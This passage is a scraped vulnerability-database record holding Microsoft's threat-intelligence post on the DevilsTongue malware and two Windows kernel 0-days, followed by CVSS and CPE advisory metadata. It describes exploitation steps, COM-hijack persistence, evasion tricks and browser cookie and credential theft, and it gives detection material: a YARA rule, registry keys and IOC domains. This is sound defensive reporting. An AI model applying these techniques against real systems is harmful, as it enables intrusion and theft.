URLs sent to targets on messaging applications such as WhatsApp.\n\nDuring the investigation, Microsoft discovered two Windows 0-day exploits for vulnerabilities tracked as CVE-2021-31979 and CVE-2021-33771, both of which have been fixed in the July 2021 security updates. These vulnerabilities allow privilege escalation, giving an attacker the ability to escape browser sandboxes and gain kernel code execution. If customers have taken the July 2021 security update, they are protected from these exploits.\n\n[CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) fixes an integer overflow within Windows NT-based operating system (NTOS). This overflow results in an incorrect buffer size being calculated, which is then used to allocate a buffer in the kernel pool. A buffer overflow subsequently occurs while copying memory to the smaller-than-expected destination buffer. This vulnerability can be leveraged to corrupt an object in an adjacent memory allocation. Using APIs from user mode, the kernel pool memory layout can be groomed with controlled allocations, resulting in an object being placed in the adjacent memory location. Once corrupted by the buffer overflow, this object can be turned into a user mode to kernel mode read/write primitive. With these primitives in place, an attacker can then elevate their privileges.\n\n[CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>) addresses a race condition within NTOS resulting in the use-after-free of a kernel object. By using multiple racing threads, the kernel object can be freed, and the freed memory reclaimed by a controllable object. Like the previous vulnerability, the kernel pool memory can be sprayed with allocations using user mode APIs with the hopes of landing an object allocation within the recently freed memory. If successful, the controllable object can be used to form a user mode to kernel mode read/write primitive and elevate privileges.\n\n## DevilsTongue malware overview\n\nDevilsTongue is a complex modular multi-threaded piece of malware written in C and C++ with several novel capabilities. Analysis is still on-going for some components and capabilities, but we\u2019re sharing our present understanding of the malware so defenders can use this intelligence to protect networks and so other researchers can build on our analysis.\n\nFor files on disk, PDB paths and PE timestamps are scrubbed, strings and configs are encrypted, and each file has a unique hash. The main functionality resides in DLLs that are encrypted on disk and only decrypted in memory, making detection more difficult. Configuration and tasking data is separate from the malware, which makes analysis harder. DevilsTongue has both user mode and kernel mode capabilities. There are several novel detection evasion mechanisms built in. All these features are evidence that SOURGUM developers are very professional, have extensive experience writing Windows malware, and have a good understanding of operational security.\n\nWhen the malware is installed, a first-stage \u2018hijack\u2019 malware DLL is dropped in a subfolder of _C:\\Windows\\system32\\IME\\_; the folders and names of the hijack DLLs blend with legitimate names in the _\\IME\\_ directories. Encrypted second-stage malware and config files are dropped into subfolders of _C:\\Windows\\system32\\config\\ _with a _.dat _file extension. A third-party legitimate, signed driver _physmem.sys_ is dropped to the _system32\\drivers _folder. A file called _WimBootConfigurations.ini_ is also dropped; this file has the command for following the COM hijack. Finally, the malware adds the hijack DLL to a COM class registry key, overwriting the legitimate COM DLL path that was there, achieving persistence via [COM hijacking](<https://attack.mitre.org/techniques/T1546/015/>).\n\nFrom the COM hijacking, the DevilsTongue first-stage hijack DLL gets loaded into a _svchost.exe_ process to run with SYSTEM permissions. The COM hijacking technique means that the original DLL that was in the COM registry key isn\u2019t loaded. This can break system functionality and trigger an investigation that could lead to the discovery of the malware, but DevilsTongue uses an interesting technique to avoid this. In its _DllMain_ function it calls _LoadLibrary_ on the original COM DLL so it is correctly loaded into the process. DevilsTongue then searches the call stack to find the return address of _LoadLibraryExW_ (i.e., the function currently loading the DevilsTongue DLL), which would usually return the base address of the DevilsTongue DLL.\n\nOnce the _LoadLibraryExW_ return address has been found, DevilsTongue allocates a small buffer with shellcode that puts the COM DLL\u2019s base address (_imecfmup.7FFE49060000_ in Figure 1) into the _rax_ register and then jumps to the original return address of _LoadLibraryExW_ (_svchost.7FF78E903BFB_ in Figures 1 and 2). In Figure 1 the COM DLL is named _imecfmup_ rather than a legitimate COM DLL name because some DevilsTongue samples copied the COM DLL to another location and renamed it.\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig1-DevilsTong-return-address-modification-shellcode.png)\n\n_Figure 1. _DevilsTongue _return address modification shellcode_\n\nDevilsTongue then swaps the original _LoadLibraryExW_ return address on the stack with the address of the shellcode so that when _LoadLibraryExW_ returns it does so into the shellcode (Figures 2 and 3). The shellcode replaces the DevilsTongue base address in _rax_ with the COM DLL\u2019s base address, making it look like _LoadLibraryExW_ has returned the COM DLL\u2019s address. The _svchost.exe_ host process now uses the returned COM DLL base address as it usually would.\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig2-Call-stack-before-stack-swap.png)\n\n_Figure 2. Call stack before stack swap, LoadLibraryExW in kernelbase returning to svchost.exe (0x7FF78E903BFB)_\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig3-Call-stack-after-stack-swap.png)\n\n_Figure 3. Call stack after stack swap, LoadLibraryExW in kernelbase returning to the shellcode address (0x156C51E0000 from Figure 1)_\n\nThis technique ensures that the DevilsTongue DLL is loaded by the _svchost.exe_ process, giving the malware persistence, but that the legitimate COM DLL is also loaded correctly so there\u2019s no noticeable change in functionality on the victim\u2019s systems.\n\nAfter this, the hijack DLL then decrypts and loads a second-stage malware DLL from one of the encrypted _.dat_ files. The second-stage malware decrypts another _.dat_ file that contains multiple helper DLLs that it relies on for functionality.\n\nDevilsTongue has standard malware capabilities, including file collection, registry querying, running WMI commands, and querying SQLite databases. It\u2019s capable of stealing victim credentials from both LSASS and from browsers, such as Chrome and Firefox. It also has dedicated functionality to decrypt and exfiltrate conversations from the [Signal](<https://signal.org/>) messaging app.\n\nIt can retrieve cookies from a variety of web browsers. These stolen cookies can later be used by the attacker to sign in as the victim to websites to enable further information gathering. Cookies can be collected from these paths (_* is a wildcard to match any folders_):\n\n * _%LOCALAPPDATA%\\Chromium\\User Data\\\\*\\Cookies_\n * _%LOCALAPPDATA%\\Google\\Chrome\\User Data\\\\*\\Cookies_\n * _%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies_\n * _%LOCALAPPDATA%\\Packages\\\\*\\AC\\\\*\\MicrosoftEdge\\Cookies_\n * _%LOCALAPPDATA%\\UCBrowser\\User Data_i18n\\\\*\\Cookies.9_\n * _%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\\\*\\Cookies_\n * _%APPDATA%\\Apple Computer\\Safari\\Cookies\\Cookies.binarycookies_\n * _%APPDATA%\\Microsoft\\Windows\\Cookies_\n * _%APPDATA%\\Mozilla\\Firefox\\Profiles\\\\*\\cookies.sqlite_\n * _%APPDATA%\\Opera Software\\Opera Stable\\Cookies_\n\nInterestingly, DevilsTongue seems able to use cookies directly from the victim\u2019s computer on websites such as Facebook, Twitter, Gmail, Yahoo, Mail.ru, Odnoklassniki, and Vkontakte to collect information, read the victim\u2019s messages, and retrieve photos. DevilsTongue can also send messages as the victim on some of these websites, appearing to any recipient that the victim had sent these messages. The capability to send messages could be weaponized to send malicious links to more victims.\n\nAlongside DevilsTongue a third-party signed driver is dropped to _C:\\Windows\\system32\\drivers\\physmem.sys_. The driver\u2019s description is \u201cPhysical Memory Access Driver,\u201d and it appears to offer a \u201cby-design" kernel read/write capability. This appears to be abused by DevilsTongue to proxy certain API calls via the kernel to hinder detection, including the capability to have some of the calls appear from other processes. Functions capable of being proxied include _CreateProcessW, VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, ReadProcessMemory, CreateFileW _and_ RegSetKeyValueW_.\n\n## Prevention and detection\n\nTo prevent compromise from browser exploits, it\u2019s recommended to use an isolated environment, such as a virtual machine, when opening links from untrusted parties. Using a modern version of Windows 10 with virtualization-based protections, such as Credential Guard, prevents DevilsTongue\u2019s LSASS credential-stealing capabilities. Enabling the attack surface reduction rule \u201c[Block abuse of exploited vulnerable signed drivers](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide#block-abuse-of-exploited-vulnerable-signed-drivers>)\u201d in Microsoft Defender for Endpoint blocks the driver that DevilsTongue uses. [Network protection](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/network-protection?view=o365-worldwide>) blocks known SOURGUM domains.\n\n### Detection opportunities\n\nThis section is intended to serve as a non-exhaustive guide to help customers and peers in the cybersecurity industry to detect the DevilsTongue malware. We\u2019re providing this guidance with the expectation that SOURGUM will likely change the characteristics we identify for detection in their next iteration of the malware. Given the actor\u2019s level of sophistication, however, we believe that outcome would likely occur irrespective of our public guidance.\n\n#### File locations\n\nThe hijack DLLs are in subfolders of _\\system32\\ime\\ _with names starting with \u2018_im\u2019. _However, they are blended with legitimate DLLs in those folders. To distinguish between the malicious and benign, the legitimate DLLs are signed (on Windows 10) whereas the DevilsTongue files aren\u2019t_. _Example paths:\n\n * _C:\\Windows\\System32\\IME\\IMEJP\\imjpueact.dll _\n * _C:\\Windows\\system32\\ime\\IMETC\\IMTCPROT.DLL_\n * _C:\\Windows\\system32\\ime\\SHARED\\imecpmeid.dll_\n\n_ _The DevilsTongue configuration files, which are AES-encrypted, are in subfolders of _C:\\Windows\\system32\\config\\ _and have a _.dat_ extension. The exact paths are victim-specific, although some folder names are common across victims. As the files are AES-encrypted, any files whose size mod 16 is 0 can be considered as a possible malware config file. The config files are always in new folders, not the legitimate existing folders (e.g., on Windows 10, never in \\Journal, \\systemprofile, \\TxR etc.). Example paths:\n\n * _C:\\Windows\\system32\\config\\spp\\ServiceState\\Recovery\\pac.dat_\n * _C:\\Windows\\system32\\config\\cy-GB\\Setup\\SKB\\InputMethod\\TupTask.dat_\n * _C:\\Windows\\system32\\config\\config\\startwus.dat_\n\nCommonly reused folder names in the config file paths:\n\n * _spp_\n * _SKB_\n * _curv_\n * _networklist_\n * _Licenses_\n * _InputMethod_\n * _Recovery_\n\nThe .ini reg file has the unique name _WimBootConfigurations.ini _and is in a subfolder of _system32\\ime\\_. Example paths:\n\n * _C:\\Windows\\system32\\ime\\SHARED\\WimBootConfigurations.ini_\n * _C:\\Windows\\system32\\ime\\IMEJP\\WimBootConfigurations.ini_\n * _C:\\Windows\\system32\\ime\\IMETC\\WimBootConfigurations.ini_\n\nThe Physmem driver is dropped into system32:\n\n * _C:\\Windows\\system32\\drivers\\physmem.sys \n_\n\n#### Behaviors\n\nThe two COM keys that have been observed being hijacked for persistence are listed below with their default clean values. If their default value DLL is in the _\\system32\\ime\\ _folder, the DLL is likely DevilsTongue.\n\n * _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\\InprocServer32 _= _%systemroot%\\system32\\wbem\\wmiutils.dll (clean default value_)\n * _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{7C857801-7381-11CF-884D-00AA004B2E24}\\InProcServer32 = __%systemroot%\\system32\\wbem\\wbemsvc.dll (clean default value_)\n\n#### File content and characteristics\n\nThis Yara rule can be used to find the DevilsTongue hijack DLL:\n\n`import \"pe\" \nrule DevilsTongue_HijackDll \n{ \nmeta: \ndescription = \"Detects SOURGUM's DevilsTongue hijack DLL\" \nauthor = \"Microsoft Threat Intelligence Center (MSTIC)\" \ndate = \"2021-07-15\" \nstrings: \n$str1 = \"windows.old\\\\windows\" wide \n$str2 = \"NtQueryInformationThread\" \n$str3 = \"dbgHelp.dll\" wide \n$str4 = \"StackWalk64\" \n$str5 = \"ConvertSidToStringSidW\" \n$str6 = \"S-1-5-18\" wide \n$str7 = \"SMNew.dll\" // DLL original name \n// Call check in stack manipulation \n// B8 FF 15 00 00 mov eax, 15FFh \n// 66 39 41 FA cmp [rcx-6], ax \n// 74 06 jz short loc_1800042B9 \n// 80 79 FB E8 cmp byte ptr [rcx-5], 0E8h ; '\u00e8' \n$code1 = {B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8} \n// PRNG to generate number of times to sleep 1s before exiting \n// 44 8B C0 mov r8d, eax \n// B8 B5 81 4E 1B mov eax, 1B4E81B5h \n// 41 F7 E8 imul r8d \n// C1 FA 05 sar edx, 5 \n// 8B CA mov ecx, edx \n// C1 E9 1F shr ecx, 1Fh \n// 03 D1 add edx, ecx \n// 69 CA 2C 01 00 00 imul ecx, edx, 12Ch \n// 44 2B C1 sub r8d, ecx \n// 45 85 C0 test r8d, r8d \n// 7E 19 jle short loc_1800014D0 \n$code2 = {44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19} \ncondition: \nfilesize < 800KB and \nuint16(0) == 0x5A4D and \n(pe.characteristics & pe.DLL) and \n( \n4 of them or \n($code1 and $code2) or \n(pe.imphash() == \"9a964e810949704ff7b4a393d9adda60\") \n) \n}`\n\n### Microsoft Defender Antivirus detections\n\nMicrosoft Defender Antivirus detects DevilsTongue malware with the following detections:\n\n * _Trojan:Win32/DevilsTongue.A!dha_\n * _Trojan:Win32/DevilsTongue.B!dha_\n * _Trojan:Script/DevilsTongueIni.A!dha_\n * _VirTool:Win32/DevilsTongueConfig.A!dha_\n * _HackTool__:Win32/DevilsTongueDriver.A!dha_\n\n### Microsoft Defender for Endpoint alerts\n\nAlerts with the following titles in the security center can indicate DevilsTongue malware activity on your network:\n\n * _COM Hijacking_\n * _Possible theft of sensitive web browser information_\n * _Stolen SSO cookies__ _\n\n### Azure Sentinel query\n\nTo locate possible SOURGUM activity using Azure Sentinel, customers can find a Sentinel query containing these indicators in this [GitHub repository](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/SOURGUM_IOC.yaml>).\n\n### Indicators of compromise (IOCs)\n\nNo malware hashes are being shared because DevilsTongue files, except for the third part driver below, all have unique hashes, and therefore, are not a useful indicator of compromise.\n\n#### Physmem driver\n\nNote that this driver may be used legitimately, but if it\u2019s seen on path _C:\\Windows\\system32\\drivers\\physmem.sys_ then it is a high-confidence indicator of DevilsTongue activity. The hashes below are provided for the one driver observed in use.\n\n * _MD5: a0e2223868b6133c5712ba5ed20c3e8a_\n * _SHA-1: 17614fdee3b89272e99758983b99111cbb1b312c_\n * _SHA-256: c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d_\n\n#### Domains\n\n * noc-service-streamer[.]com\n * fbcdnads[.]live\n * hilocake[.]info\n * backxercise[.]com\n * winmslaf[.]xyz\n * service-deamon[.]com\n * online-affiliate-mon[.]com\n * codeingasmylife[.]com\n * kenoratravels[.]com\n * weathercheck[.]digital\n * colorpallatess[.]com\n * library-update[.]com\n * online-source-validate[.]com\n * grayhornet[.]com\n * johnshopkin[.]net\n * eulenformacion[.]com\n * pochtarossiy[.]info\n\nThe post [Protecting customers from a private-sector offensive actor using 0-day exploits and DevilsTongue malware](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-15T15:21:02", "type": "mssecure", "title": "Protecting customers from a private-sector offensive actor using 0-day exploits and DevilsTongue malware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-15T15:21:02", "id": "MSSECURE:FA096F112DC9423A9C4E3850DD8721F3", "href": "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-10-04T10:05:38", "description": "A remote code execution vulnerability exists in Microsoft Exchange. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-34473; CVE-2021-34523)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-09-30T00:00:00", "id": "CPAI-2021-0476", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T19:32:16", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Windows Kernel Elevation of Privilege (CVE-2021-33771)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33771"], "modified": "2021-07-13T00:00:00", "id": "CPAI-2021-0449", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T19:32:13", "description": "A memory corruption vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Scripting Engine Memory Corruption (CVE-2021-34448)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34448"], "modified": "2021-07-14T00:00:00", "id": "CPAI-2021-0477", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T19:32:17", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Windows Kernel Elevation of Privilege (CVE-2021-31979)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979"], "modified": "2021-07-13T00:00:00", "id": "CPAI-2021-0448", "href": "", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T19:32:19", "description": "A remote code execution vulnerability exists in the Windows Print Spooler service. A remote, authenticated attacker can exploit this issue by sending a specially crafted packet to the target server. Successful exploitation could result in execution of arbitrary code on the affected system. AKA \"PrintNightmare\".", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T00:00:00", "type": "checkpoint_advisories", "title": "Windows Print Spooler Remote Code Execution (CVE-2021-34527)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T00:00:00", "id": "CPAI-2021-0465", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2023-06-14T15:25:35", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-34514.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-13T07:00:00", "type": "mscve", "title": "Windows Kernel Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2021-07-13T07:00:00", "id": "MS:CVE-2021-33771", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33771", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-14T15:25:20", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-33771.", "cvss3": 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"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34448", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:30:40", "description": "Windows Print Spooler Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T22:15:00", "type": "cve", "title": "CVE-2021-34527", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-02T21:08:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-34527", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34527", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", 